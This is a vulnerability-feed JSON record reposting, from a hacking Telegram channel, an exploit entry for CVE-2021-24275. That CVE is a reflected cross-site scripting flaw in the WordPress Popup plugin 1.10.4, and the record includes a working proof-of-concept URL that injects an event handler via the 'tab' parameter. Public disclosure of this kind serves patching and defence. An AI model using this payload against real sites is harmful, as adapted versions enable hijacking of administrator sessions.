{"uuid": "101e279b-ec43-48aa-a06f-a7c49567741b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24275", "type": "seen", "source": "https://t.me/hacking_Attack/25368", "content": "Exploit Collector\nWordPress Popup 1.10.4 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-Ct9xsH2cBRo/WWlviFueiJI/AAAAAAAAIQc/IuoXrqbibrUTnkZ-3FJLKgVXuEB0NPH5wCLcBGAs/s1600/h92.png \nWordPress Popup plugin version 1.10.4 suffers from a cross site scripting vulnerability.\n\nMD5 | 34a0b77cf58a9d881b2693bb8571e695\n\nDownload\n# Exploit Title: WordPress Plugin Popup 1.10.4 - Reflected Cross-Site Scripting (XSS)\n# Date: 3/28/2021\n# Author: 0xB9\n# Software Link: https://wordpress.org/plugins/popup-by-supsystic/\n# Version: 1.10.4\n# Tested on: Windows 10\n# CVE: CVE-2021-24275\n\n1. Description:\nThe plugin did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue\n\n2. Proof of Concept:\n/wp-admin/admin.php?page=popup-wp-supsystic&tab=\"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:20.048297Z"}